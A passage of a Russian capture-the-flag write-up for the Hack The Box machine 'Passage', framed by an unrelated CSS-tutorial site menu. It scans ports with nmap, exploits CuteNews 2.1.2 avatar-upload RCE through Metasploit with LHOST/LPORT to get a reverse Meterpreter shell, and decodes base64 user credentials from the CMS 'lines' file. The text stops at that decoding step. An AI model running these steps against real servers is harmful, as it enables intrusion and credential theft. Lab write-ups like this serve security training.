Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к лабораторной машине будем через VPN. Рекомендую не подключаться с рабочего компьютера или с хоста, где есть важные для тебя данные, так как ты попадешь в одну частную сеть с людьми, которые что‑то да умеют в области ИБ. ?
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный в результате использования знаний и методов, описанных в статье.
Машина имеет IP-адрес 10.10.10.206, который я добавляю в /
, чтобы можно было обращаться к хосту по имени.
10.10.10.206 passage.htb
Любая атака начинается со сканирования открытых на хосте портов. Это необходимо для того, чтобы атакующий узнал, какие службы принимают соединение. Исходя из полученной информации, можно выбирать путь для получения точки входа и опоры. Я это делаю с помощью следующего скрипта, который использует утилиту Nmap и принимает один аргумент — адрес сканируемого хоста.
Сначала скрипт использует Nmap, чтобы сделать обычное быстрое санирование. Затем он парсит все порты из вывода и повторяет сканирование только обнаруженных портов с использованием имеющихся скриптов (опция -A
).
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скриптаМы имеем две службы — SSH (порт 22) и веб‑сервер Apache (порт 80). На SSH нам ловить нечего, так как единственное, что там можно делать, — это брутфорсить учетные данные. Брутфорс — последнее дело. Поэтому нам остается искать точку входа на сайте. Перейдя на сайт, легко определяем систему управления контентом — CMS CuteNews.
Первым делом стоит проверить, есть ли для обнаруженной CMS уже готовые эксплоиты. Лучший способ это установить — поискать на сайтах вроде HackerOne, exploit-db, а также GitHub. Но если ты используешь специальный дистрибутив вроде Kali Linux, то база эксплоитов Exploit-DB уже у тебя на диске. Для удобной работы с данной базой можно использовать утилиту searchsploit, также предустановленную в дистрибутиве. Именно с помощью ее мы и находим ряд эксплоитов.
searchsploit cutenews
Эксплоиты, найденные searchsploitТак как мы не знаем версию CMS на атакуемом хосте, то следует выбрать эксплоит для более поздней (2.1.2). Лучше всего для нас, если отработает тот, который даст выполнение кода — RCE. Пометка Metasploit означает, что этот эксплоит уже выпущен для Metasploit Framework.
Суть эксплуатируемой уязвимости в том, что при изменении аватарки профиля мы можем загрузить не только изображение, но и файл с расширением .php. К файлу затем можно обратиться, и это приведет к выполнению на сервере кода, содержащегося в метаданных файла‑изображения.
Так как в поставку Metasploit Framework этот эксплоит не входит, его нужно добавить в базу. Для начала получим полный путь к файлу эксплоита (опция -p
позволит сохранить полный путь к файлу сразу в буфер обмена), а затем копируем в директорию с эксплоитами.
Авторы допустили ошибку: не хватает запятой. Откроем файл эксплоита и добавим ее, как указано на скриншоте ниже.
В register_options
содержатся параметры, с которыми запускается эксплоит. К примеру, в данном случае нам нужно знать путь к базовой директории CMS, а также учетные данные пользователя.
В качестве значения параметра TARGETURI
по умолчанию используется /
. Перейдя к этой странице на сайте, получим форму авторизации. Нам нужно зарегистрировать нового пользователя, именно его учетные данные мы и будем использовать при запуске эксплоита.
Теперь, когда мы исправили ошибки в эксплоите и получили все необходимые данные для его работы, командой reload_all
обновим базу Metasploit Framework, чтобы загрузить только что добавленный эксплоит.
После успешного обновления базы загружаем наш эксплоит, задаем значения параметров и выполняем.
use exploit/46698
set username [имя зарегистрированного пользователя]
set password [пароль зарегистрированного пользователя]
set LHOST [наш IP-адрес]
set LPORT [локальный порт для прослушивания]
set RHOSTS [адрес цели]
run
Подключение к хосту с помощью эксплоита в среде Metasploit FrameworkВ отчете наблюдаем успешные подключение, авторизацию, загрузку файла на сервер и запуск нагрузки, что в итоге приводит нас к шеллу Meterpreter. Командой getuid
проверяем, в контексте какого пользователя мы работаем. В данном случае у нас контекст учетной записи службы веб‑сервера: пользователь www-data
.
Так как на хосте развернут веб‑сервер, а на нем работает целая CMS, то первое наше действие — попробовать получить какие‑нибудь пользовательские учетные данные. Высока вероятность, что эти учетки подойдут и для локальных пользователей тоже. В случае с CuteNews нас интересует директория /
.
Здесь должны находиться файлы users.
и lines
. Как раз второй представляет для нас интерес.
Текст закодирован с помощью Base64. Немного преобразуем файл: исключим из него все строки, которые содержат подстроку php
(это позволит оставить только закодированные строки), и легко декодируем оставшиеся прямо в командной строке.
cat lines | grep -vphp | base64 -d
Декодирование строк из файла lines
|
|